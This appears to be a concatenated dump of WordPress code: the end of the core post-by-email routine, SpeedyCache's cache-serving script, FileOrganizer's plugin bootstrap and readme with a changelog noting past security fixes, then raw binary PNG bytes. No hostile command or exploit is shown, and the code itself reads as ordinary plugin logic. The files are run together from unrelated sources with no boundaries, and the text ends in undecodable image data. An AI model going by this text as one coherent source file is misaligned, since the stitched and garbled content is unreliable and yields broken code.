* @since 2.8.0
*
* @param string $content The original email content.
*/
$content = apply_filters( 'wp_mail_original_content', $content );
if ( false !== stripos( $content_transfer_encoding, 'quoted-printable' ) ) {
$content = quoted_printable_decode( $content );
}
if ( function_exists( 'iconv' ) && ! empty( $charset ) ) {
$content = iconv( $charset, get_option( 'blog_charset' ), $content );
}
// Captures any text in the body after $phone_delim as the body.
$content = explode( $phone_delim, $content );
$content = empty( $content[1] ) ? $content[0] : $content[1];
$content = trim( $content );
/**
* Filters the content of the post submitted by email before saving.
*
* @since 1.2.0
*
* @param string $content The email content.
*/
$post_content = apply_filters( 'phone_content', $content );
$post_title = xmlrpc_getposttitle( $content );
if ( '' === trim( $post_title ) ) {
$post_title = $subject;
}
$post_category = array( get_option( 'default_email_category' ) );
$post_data = compact( 'post_content', 'post_title', 'post_date', 'post_date_gmt', 'post_author', 'post_category', 'post_status' );
$post_data = wp_slash( $post_data );
$post_ID = wp_insert_post( $post_data );
if ( is_wp_error( $post_ID ) ) {
echo "\n" . $post_ID->get_error_message();
}
// The post wasn't inserted or updated, for whatever reason. Better move forward to the next email.
if ( empty( $post_ID ) ) {
continue;
}
/**
* Fires after a post submitted by email is published.
*
* @since 1.2.0
*
* @param int $post_ID The post ID.
*/
do_action( 'publish_phone', $post_ID );
echo "\n<p><strong>" . __( 'Author:' ) . '</strong> ' . esc_html( $post_author ) . '</p>';
echo "\n<p><strong>" . __( 'Posted title:' ) . '</strong> ' . esc_html( $post_title ) . '</p>';
if ( ! $pop3->delete( $i ) ) {
echo '<p>' . sprintf(
/* translators: %s: POP3 error. */
__( 'Oops: %s' ),
esc_html( $pop3->ERROR )
) . '</p>';
$pop3->reset();
exit;
} else {
echo '<p>' . sprintf(
/* translators: %s: The message ID. */
__( 'Mission complete. Message %s deleted.' ),
'<strong>' . $i . '</strong>'
) . '</p>';
}
}
$pop3->quit();
<?php
/*
* SPEEDYCACHE
* https://speedycache.com/
* (c) SpeedyCache Team
*/
if(!defined('ABSPATH')) exit;
// Check request method is Head or get
if(!isset($_SERVER['REQUEST_METHOD']) || $_SERVER['REQUEST_METHOD'] !== 'GET'){
return;
}
if(defined('WP_INSTALLING') && WP_INSTALLING){
return;
}
if(defined('WP_CLI') && WP_CLI){
return;
}
if(empty($_SERVER['REQUEST_URI']) || empty($_SERVER['HTTP_HOST']) || empty($_SERVER['HTTP_USER_AGENT'])){
return false;
}
if(preg_match('/(\/){2}$/', $_SERVER['REQUEST_URI'])){
return false;
}
function speedycache_ac_serve_cache(){
$ignored_parameters = ['fbclid', 'utm_id', 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'utm_source_platform', 'gclid', 'dclid', 'msclkid', 'ref', 'fbaction_ids', 'fbc', 'fbp', 'clid', 'mc_cid', 'mc_eid', 'hsCtaTracking', 'hsa_cam', 'hsa_grp', 'hsa_mt', 'hsa_src', 'hsa_ad', 'hsa_acc', 'hsa_net', 'hsa_kw', 'test_speedycache'];
$uri = '';
$parsed_uri = [];
$uri = $_SERVER['REQUEST_URI'];
$uri = urldecode($uri); // Users use other languages to write as well
$uri = preg_replace('/\.{2,}/', '', $uri); // Cleaning the path
$parsed_uri = parse_url($uri);
if(!empty($parsed_uri) && !empty($parsed_uri['query'])){
parse_str($parsed_uri['query'], $parsed_query);
foreach($parsed_query as $query => $value){
if(in_array($query, $ignored_parameters)){
unset($parsed_query[$query]);
continue;
}
}
$uri = $parsed_uri['path'] . (!empty($parsed_query) ? '?'.http_build_query($parsed_query) : '');
}
// We dont know if the site is a /directory based so we just hit and try
$site_dir = '';
$path = '';
if(!empty($parsed_uri['path'])){
$path = trim($parsed_uri['path'], '/');
}
if(strpos($path, '/') !== FALSE){
$parsed_path = explode('/', $path);
$site_dir = $parsed_path[0];
} elseif(!empty($path)){
$site_dir = $path;
}
$config_file = WP_CONTENT_DIR . '/speedycache-config/' . basename($_SERVER['HTTP_HOST']) . '.php';
if(!file_exists($config_file)){
$config_file = WP_CONTENT_DIR . '/speedycache-config/' . basename($_SERVER['HTTP_HOST']) . '.'. $site_dir . '.php';
if(!file_exists($config_file)){
return;
}
}
if(!file_exists($config_file)){
return;
}
// Accessing the config file
include_once $config_file;
if(empty($speedycache_ac_config) || !is_array($speedycache_ac_config)){
return;
}
if(empty($speedycache_ac_config['settings']['status'])){
return;
}
// Exclude pages|useragent|cookie
if(speedycache_ac_excludes($speedycache_ac_config)){
return;
}
if(!empty($speedycache_ac_config['user_agents']) && preg_match('/'.preg_quote($speedycache_ac_config['user_agents']).'/', $_SERVER['HTTP_USER_AGENT'])){
return;
}
if(empty($speedycache_ac_config['settings']['logged_in_user']) && preg_grep('/^wordpress_logged_in_/i', array_keys($_COOKIE))){
return false;
}
// check comment author
if(preg_grep('/comment_author_/i', array_keys($_COOKIE))){
return false;
}
$cache_path = WP_CONTENT_DIR.'/cache/speedycache/' . basename($_SERVER['HTTP_HOST']);
// For the test cache
if(isset($_GET['test_speedycache'])){
$cache_path = '/test'. $uri;
} else if(!empty($speedycache_ac_config['settings']['mobile']) && preg_match('/Mobile|Android|Silk\/|Kindle|BlackBerry|Opera (Mini|Mobi)/i', $_SERVER['HTTP_USER_AGENT'])) {
// Check for Mobile
if(!empty($speedycache_ac_config['settings']['mobile_theme'])){
$cache_path .= '/mobile-cache' . $uri;
} else {
return; // If just mobile is enabled then we don't want to show desktop verison of cache on mobile.
}
} else {
// get path of file
$cache_path .= '/all'. $uri;
}
$file_name = 'index';
if(isset($_COOKIE['wcu_current_currency'])){
$file_name .= '-' . strtolower($_COOKIE['wcu_current_currency']);
$file_name = preg_replace('/\.{2,}/', '', $file_name); // Cleaning the path
}
$file_name .= '.html';
//check file extension
$serving_gz = '';
if(isset($_SERVER['HTTP_ACCEPT_ENCODING']) && strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== FALSE && !empty($speedycache_ac_config['settings']['gzip']) && @file_exists($cache_path . '/'. $file_name.'.gz')){
$serving_gz = '.gz';
// We do not want output compression to be enabled if we are gzipping the page.
if(function_exists('ini_set')){
ini_set('zlib.output_compression', 0);
}
header('Content-Encoding: gzip');
}
if(!file_exists($cache_path . '/'.$file_name . $serving_gz)){
$serving_gz = '';
}
if(!file_exists($cache_path . '/'.$file_name . $serving_gz)){
return;
}
if(!headers_sent()){
header('x-speedycache-source: PHP');
}
$cache_created_at = filemtime($cache_path. '/'.$file_name . $serving_gz);
header('Last-Modified: ' . gmdate( 'D, d M Y H:i:s', $cache_created_at) . ' GMT');
$if_modified_since = isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) : 0;
if($if_modified_since === $cache_created_at){
header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
header('Cache-Control: no-cache, must-revalidate');
header('Expires: ' . gmdate('D, d M Y H:i:s') . ' GMT');
exit();
}
readfile($cache_path. '/'.$file_name . $serving_gz);
exit();
}
function speedycache_ac_excludes($excludes){
if(empty($excludes) || !is_array($excludes)){
return false;
}
$preg_match_rule = '';
$request_url = !empty($_SERVER['REQUEST_URI']) ? urldecode(trim($_SERVER['REQUEST_URI'], '/')) : '';
foreach($excludes as $key => $value){
$value['type'] = !empty($value['type']) ? $value['type'] : 'page';
if(!empty($value['prefix']) && $value['type'] == 'page'){
$value['content'] = trim($value['content']);
$value['content'] = trim($value['content'], '/');
if($value['prefix'] == 'exact' && strtolower($value['content']) == strtolower($request_url)){
return true;
}else{
$preg_match_rule = preg_quote($value['content'], '/');
if($preg_match_rule){
if(preg_match('/'.$preg_match_rule.'/i', $request_url)){
return true;
}
}
}
}else if($value['type'] == 'useragent'){
if(preg_match('/'.preg_quote($value['content'], '/').'/i', $_SERVER['HTTP_USER_AGENT'])){
return true;
}
}else if($value['type'] == 'cookie'){
if(isset($_SERVER['HTTP_COOKIE'])){
if(preg_match('/'.preg_quote($value['content'], '/').'/i', $_SERVER['HTTP_COOKIE'])){
return true;
}
}
}
}
}
speedycache_ac_serve_cache();<?php
/*
* FILEORGANIZER
* https://fileorganizer.net/
* (c) FileOrganizer Team
*/
//ABSPATH is required.
if(!defined('ABSPATH')) exit;
define('FILEORGANIZER_DIR', dirname( FILEORGANIZER_FILE ));
define('FILEORGANIZER_BASE', plugin_basename(FILEORGANIZER_FILE));
define('FILEORGANIZER_URL', plugins_url('', FILEORGANIZER_FILE));
define('FILEORGANIZER_BASE_NAME', basename(FILEORGANIZER_DIR));
define('FILEORGANIZER_WP_CONTENT_DIR', defined('WP_CONTENT_FOLDERNAME') ? WP_CONTENT_FOLDERNAME : 'wp-content');
define('FILEORGANIZER_DEV', file_exists(dirname(__FILE__).'/dev.php') ? 1 : 0);
function fileorganizer_died(){
print_r(error_get_last());
}
if(FILEORGANIZER_DEV){
include_once FILEORGANIZER_DIR.'/DEV.php';
//register_shutdown_function('fileorganizer_died');
}
if(!class_exists('FileOrganizer')){
class FileOrganizer{
public $options = array();
}
}
function fileorganizer_autoloader($class){
if(!preg_match('/^FileOrganizer\\\(.*)/is', $class, $m)){
return;
}
// For Free
if(file_exists(FILEORGANIZER_DIR.'/main/'.strtolower($m[1]).'.php')){
include_once(FILEORGANIZER_DIR.'/main/'.strtolower($m[1]).'.php');
}
// For Pro
if(defined('FILEORGANIZER_PRO_DIR') && file_exists(FILEORGANIZER_PRO_DIR.'/main/'.strtolower($m[1]).'.php')){
include_once(FILEORGANIZER_PRO_DIR.'/main/'.strtolower($m[1]).'.php');
}
}
spl_autoload_register(__NAMESPACE__.'\fileorganizer_autoloader');
// Ok so we are now ready to go
register_activation_hook( FILEORGANIZER_FILE , 'fileorganizer_activation');
// Is called when the ADMIN enables the plugin
function fileorganizer_activation(){
global $wpdb;
$sql = array();
add_option('fileorganizer_version', FILEORGANIZER_VERSION);
}
// Looks if FileOrganizer just got updated
function fileorganizer_update_check(){
$sql = array();
$current_version = get_option('fileorganizer_version');
$version = (int) str_replace('.', '', $current_version);
// No update required
if($current_version == FILEORGANIZER_VERSION){
return true;
}
// Is it first run ?
if(empty($current_version)){
// Reinstall
fileorganizer_activation();
// Trick the following if conditions to not run
$version = (int) str_replace('.', '', FILEORGANIZER_VERSION);
}
// Adding index.php to trash folder, if it already exists.
if(version_compare($current_version, '1.0.7', '<=')){
$uploads_dir = wp_upload_dir();
$trash_dir = fileorganizer_cleanpath($uploads_dir['basedir'].'/fileorganizer/.trash');
if(file_exists($trash_dir)){
fileorganizer_recursive_indexphp($trash_dir, 8); // Adding index.php files
$randomness = wp_generate_password(12, false);
$new_dir_name = $trash_dir . '-' . $randomness;
rename($trash_dir, $new_dir_name);
}
}
// Save the new Version
update_option('fileorganizer_version', FILEORGANIZER_VERSION);
}
// Creates index.php file recursively
// This is needed only if user upgrades from any version below 1.0.8
// NOTE: So remove when not needed.
function fileorganizer_recursive_indexphp($trash_dir, $depth){
if($depth <= 0){
return;
}
if(!is_dir($trash_dir)){
return;
}
$sub_dirs = scandir($trash_dir);
if(empty($sub_dirs)){
return false;
}
foreach($sub_dirs as $file){
$file_path = $trash_dir . '/' . $file;
if(!is_dir($file_path) || in_array($file, ['..', '.'])){
continue;
}
$depth--;
fileorganizer_recursive_indexphp($file_path, $depth);
}
if(!file_exists($trash_dir . '/index.php')){
file_put_contents($trash_dir . '/index.php', '<?php //Silence is golden');
chmod($trash_dir . '/index.php', 0444);
}
}
// Add action to load FileOrganizer
add_action('plugins_loaded', 'fileorganizer_load_plugin');
function fileorganizer_load_plugin(){
global $fileorganizer;
if(empty($fileorganizer)){
$fileorganizer = new FileOrganizer();
}
// Check if the installed version is outdated
fileorganizer_update_check();
$options = get_option('fileorganizer_options');
$fileorganizer->options = empty($options) ? array() : $options;
if(is_admin() && !defined('FILEORGANIZER_PRO') && current_user_can('activate_plugins')){
// The promo time
$promo_time = get_option('fileorganizer_promo_time');
if(empty($promo_time)){
$promo_time = time();
update_option('fileorganizer_promo_time', $promo_time);
}
// Are we to show the FileOrganizer promo
if(!empty($promo_time) && $promo_time > 0 && $promo_time < (time() - (7 * 86400))){
add_action('admin_notices', 'fileorganizer_promo');
}
}
}
// This adds the left menu in WordPress Admin page
add_action('network_admin_menu', 'fileorganizer_admin_menu', 5);
add_action('admin_menu', 'fileorganizer_admin_menu', 5);
function fileorganizer_admin_menu() {
global $wp_version;
// TODO : Capability for accessing this page
$capability = fileorganizer_get_capability();
$manu_capability = 'manage_options';
if(is_multisite()){
$manu_capability = 'manage_network_options';
}
// Add the menu page
add_menu_page(__('FILE ORGANIZER'), __('File Organizer'), $capability, 'fileorganizer', 'fileorganizer_page_handler', 'dashicons-category');
// Add Settings Page
add_submenu_page( 'fileorganizer', __('Settings'), __('Settings'), $manu_capability, 'fileorganizer-settings', 'fileorganizer_settings_handler');
if(defined('FILEORGANIZER_PRO')){
// Restrictins by user
add_submenu_page( 'fileorganizer', __('User Restrictions'), __('User Restrictions'), $manu_capability, 'fileorganizer-user-restrictions', 'fileorganizer_restrictions_handler');
// Restrictins by user role
add_submenu_page( 'fileorganizer', __('User Role Restrictions'), __('User Role Restrictions'), $manu_capability, 'fileorganizer-user-role-restrictions', 'fileorganizer_role_restrictions_handler');
// Add License Page
add_submenu_page( 'fileorganizer', __('License'), __('License'), $manu_capability, 'fileorganizer-license', 'fileorganizer_license_handler');
}
}
// Register admin style
add_action( 'admin_init', 'fileorganizer_admin_init');
function fileorganizer_admin_init(){
wp_register_style('forg-admin', FILEORGANIZER_URL .'/css/admin.css', array(), FILEORGANIZER_VERSION);
}
function fileorganizer_page_handler(){
global $fileorganizer;
// Register scripts
wp_register_script('forg-elfinder', FILEORGANIZER_URL .'/manager/js/elfinder.min.js', array('jquery', 'jquery-ui-droppable', 'jquery-ui-resizable', 'jquery-ui-selectable', 'jquery-ui-slider', 'jquery-ui-button', 'jquery-ui-sortable','wp-codemirror'), FILEORGANIZER_VERSION);
// Load Language dynamically
if(!empty($fileorganizer->options['default_lang']) && $fileorganizer->options['default_lang'] != 'en') {
wp_register_script( 'forg-lang', FILEORGANIZER_URL .'/manager/js/i18n/elfinder.'.sanitize_file_name($fileorganizer->options['default_lang']).'.js', array('jquery'), FILEORGANIZER_VERSION);
}
// Register styles
wp_register_style('forg-jquery-ui', FILEORGANIZER_URL .'/css/jquery-ui/jquery-ui.css', array(), FILEORGANIZER_VERSION);
wp_register_style('forg-elfinder', FILEORGANIZER_URL .'/manager/css/elfinder.min.css', array('forg-admin', 'forg-jquery-ui','wp-codemirror'), FILEORGANIZER_VERSION);
// Load theme dynamically
$theme_path = !empty($fileorganizer->options['theme']) ? '/themes/'.$fileorganizer->options['theme'] : '';
wp_register_style('forg-theme', FILEORGANIZER_URL.'/manager'.$theme_path.'/css/theme.css', array(), FILEORGANIZER_VERSION);
// Include the handler
include_once (FILEORGANIZER_DIR .'/main/fileorganizer.php');
// Render HTML
fileorganizer_render_page();
}
// Include the setting handler
function fileorganizer_settings_handler(){
include_once (FILEORGANIZER_DIR .'/main/settings.php');
fileorganizer_settings_page();
}
function fileorganizer_restrictions_handler(){
include_once FILEORGANIZER_PRO_DIR .'/main/user_restrictions.php';
fileorganizer_user_restriction_render();
}
function fileorganizer_role_restrictions_handler(){
include_once FILEORGANIZER_PRO_DIR .'/main/role_restrictions.php';
}
function fileorganizer_license_handler(){
include_once FILEORGANIZER_PRO_DIR .'/main/license.php';
}
// Check if a field is posted via GET else return default value
function fileorganizer_optget($name, $default = ''){
if(!empty($_GET[$name])){
return fileorganizer_clean($_GET[$name]);
}
return $default;
}
// Check if a field is posted via POST else return default value
function fileorganizer_optpost($name, $default = ''){
if(!empty($_POST[$name])){
return fileorganizer_clean($_POST[$name]);
}
return $default;
}
// Check if a field is posted via REQUEST else return default value
function fileorganizer_optreq($name, $default = ''){
if(!empty($_REQUEST[$name])){
return fileorganizer_clean($_REQUEST[$name]);
}
return $default;
}
function fileorganizer_clean($var){
if(is_array($var) || is_object($var)){
$var = map_deep($var, 'wp_unslash');
return map_deep($var, 'sanitize_text_field');
}
if(is_scalar($var)){
$var = wp_unslash($var);
return sanitize_text_field($var);
}
return '';
}
function fileorganizer_cleanpath($path){
$path = str_replace('\\\\', '/', $path);
$path = str_replace('\\', '/', $path);
$path = str_replace('//', '/', $path);
return rtrim($path, '/');
}
function fileorganizer_get_capability(){
$capability = 'activate_plugins';
return apply_filters('fileorganizer_get_capability', $capability);
}
// Load ajax
if(wp_doing_ajax()){
include_once FILEORGANIZER_DIR . '/main/ajax.php';
}
// Show the promo
function fileorganizer_promo(){
include_once(FILEORGANIZER_DIR.'/main/promo.php');
fileorganizer_base_promo();
}
function fileorganizer_notify($message, $type = 'updated', $dismissible = true){
$is_dismissible = '';
if(!empty($dismissible)){
$is_dismissible = 'is-dismissible';
}
if(!empty($message)){
echo '<div class="'.esc_attr($type).' '.esc_attr($dismissible).' notice">
<p>'.wp_kses_post($message).'</p>
</div>';
}
}
// Check we are outside installtion directory ?
function fileorganizer_validate_path($path) {
$currentDirectory = fileorganizer_cleanpath(realpath(ABSPATH));
$absolutePath = fileorganizer_cleanpath(realpath($path));
if($currentDirectory === $absolutePath){
return true;
}
return strpos($absolutePath, $currentDirectory) !== false;
}=== FileOrganizer - Manage WordPress and Website Files ===
Contributors: softaculous
Tags: FileOrganizer, file manager, wordpress file manager, file explorer, upload files, File Manage, Edit Files, Delete Files, elfinder, ftp, file transfer, update, create, delete, view, edit, rename, editor, explorer, softaculous, webuzo, Control Panel, Admin
Requires at least: 5.5
Tested up to: 6.8.2
Requires PHP: 5.5
Stable tag: 1.1.6
License: LGPL v2.1
License URI: http://www.gnu.org/licenses/lgpl-2.1.html
FileOrganizer is a plugin that helps you to manage all files in your WordPress Site. FileOrganizer provides you the ability to edit, delete, upload, download, copy and paste files and folders.
== Description ==
FileOrganizer is a lightweight and easy-to-use file management plugin for WordPress. Organize and manage your WordPress files with FileOrganizer without any control panel or FTP access. You can access, upload, download, edit, delete, zip, cut, copy, and paste files even outside the WordPress root directory.
==Free Features==
* **Files and directory Management:** Supports all file operations on a remote server such as create files or directory, upload, download, rename, copy, etc.
* **Drag & drop:** Easy drag-and-drop file transfer for uploading and moving files.
* **Built-in editor:** FileOrganizer has a built-in editor for editing code and files.
* **Archive creation / extraction:** Create or extract archives with one click(.zip, .tar)
* **File Previews**: Supports previews for common file types including PDFs, pictures, videos, audio, and thumbnails.
* **Responsive**: FileOrganizer is compatible with tablets and smartphones.
* **Search**: The built-in search feature makes it simple to find your files.
* **File View**: Offers both icons and list views for easy navigation.
* **Image Thumbnails**: Display thumbnails for image files.
* **Support Shortcuts**: Common keyboard shortcuts such as cut, copy, paste, etc. are available.
* **Toolbar**: Rich Toolbar and context menu are available.
* **Directory Size**: Calculates size of the directory.
* **File/Directory Info**: File or directory information can retrived by simply right-clicking a file and choosing Get Info.
== Info ==
Do you have questions related to FileOrganizer ? Use the following links :
1. [Docs](https://fileorganizer.net/docs)
3. [Help Desk](https://fileorganizer.deskuss.com)
2. [Support Forum](http://wordpress.org/support/plugin/fileOrganizer)
== Frequently Asked Questions ==
= How to install FileOrganizer =
Go To your WordPress install -> Plugins -> Add New Button -> In Search Box, Look For FileOrganizer -> Click on Install.
== Screenshots ==
1. File Manager Screen
2. Edit File
3. Delete File
4. Make a folder
5. Download archived zip file
6. File archive as ZIP
== Changelog ==
= 1.1.6 (Jul 18, 2025) =
* [Task] Tested with WordPress 6.8.2.
= 1.1.5 (Dec 03, 2024) =
* [Bug-fix] The language file name was not sanitized properly. This is fixed.
= 1.1.4 (Nov 18, 2024) =
* [Task] Tested with WordPress 6.7.
= 1.1.3 (Oct 22, 2024) =
* [Task] Improved compatibility with Softaculous Plugin.
= 1.1.2 (Sep 20, 2024) =
* [Task] Improved license handling.
= 1.1.1 (Sep 11, 2024) =
* [Task] Added notice for "Allowed User Roles" setting.
= 1.1.0 (Sep 10, 2024) =
* [Task] Added additional checks for file uploading.
= 1.0.9 (July 19, 2024) =
* [Task] Structural changes.
* [Task] Tested with WordPress 6.6
= 1.0.8 (June 06, 2024) =
* [Security-Fix] A Directory listing issue has been fixed. (Researcher Emad, WordFence)
= 1.0.7 (Apr 11, 2024) =
* [Security-Fix] An XSS vulnerability has been fixed. Please upgrade to this version as soon as possible!
= 1.0.6 (Dec 15, 2023) =
* [Security-fix] There was a privilege check failure which has been fixed.
= 1.0.5 (Nov 29, 2023) =
* [Task] Tested compatibility with WordPress 6.4. No functional changes made. The plugin is fully compatible with WordPress 6.4.
= 1.0.4 (sep 19, 2023) =
* [Improvement] FileOrganizer file manager is now only accessible for users with the 'Activate Plugins' role. And in the Pro version other roles can be granted file manager access by the Supper administrator.
= 1.0.3 (sep 8, 2023) =
* [Feature] FileOrganizer optimized for WordPress multi-site. Now you can use FileOrganizer for multi-site.
* [Pro-Feature] Added settings to prevent FileOrganizer from setting paths outside of your WordPress installation. And the free version does not allow the user to set a path outside your WordPress installation.
* [Improvement] The UI of all themes has been improved.
* [Improvement] Added CodeMirror editor to improve your editing experience.
= 1.0.2 (Apr 27, 2023) =
* [Feature] Added theme option for file manager, now you can change theme of file manager.
* [Feature] Added some settings to configure FileOrganizer file manager.
* [Feature] Added option to enable Trash. Now you can Enable/Disable Trash feature for File Manager from Settings page.
* [Pro-Feature] Added "Allowed user roles" option to allow selected users to access File Manager.
* [Pro-Feature] Added options to restrict features and set limited access to FileOrganizer by users and user roles.
= 1.0.1 =
* [Bug-fix] In some cases, backslashes were added before quotes when editing a PHP file. This is fixed.
= 1.0.0 =
* First release�PNG
IHDR @ < ٓ� sRGB��, pHYs �� 7PLTE � �� �������������� �� �� ���������������� �� ���������� U� ���������� ������ ������ �������� �� �������� �� ������ ����� ������� � ����� q � ��������������� ����� �������� ������ ������������ ���� ����� ������� ������� ����������� f� ������ �� ���������� ���� �������� ���������� �������� ������ �������� ������������������ �������� ������ �� �� �� m������� ������ �������� ������������������ �|aY^ �tRNS
.Ng��y]?-r���Mf�����Ip�&�Tݬ
���4��8�� p@�i��(�ϯ�� P�����`��Q��*�2b֊��+z0�E߈��%��e0���`D����"\O�[����ktPu����6�� ܐ{3�X�dz�}�!���=��$�o�1�m/V��aB����RH)z�xx �IDATx����LJ D]d��"����*��R҇ګfaP�;�����&��M4�ѐx������]���oU��ә����VUW���z�jh�Т�->f��T�?���*|TD�NX�Z�O�M��\5�V����ڲo�֞�C
>��z�B�:my�L����c��3��^65j�X�7�� �v{�Yg��̱��9�.�/��M�6tL��ǵ˟Ԗ�Fm�Xj�[{�7>
3ը�Z�d�W~)��p�V'���.��w~���
,[�q=�?=N 7]��v��KH�3P�߸�cp�R��.�29�ӹ횬��`��
[=>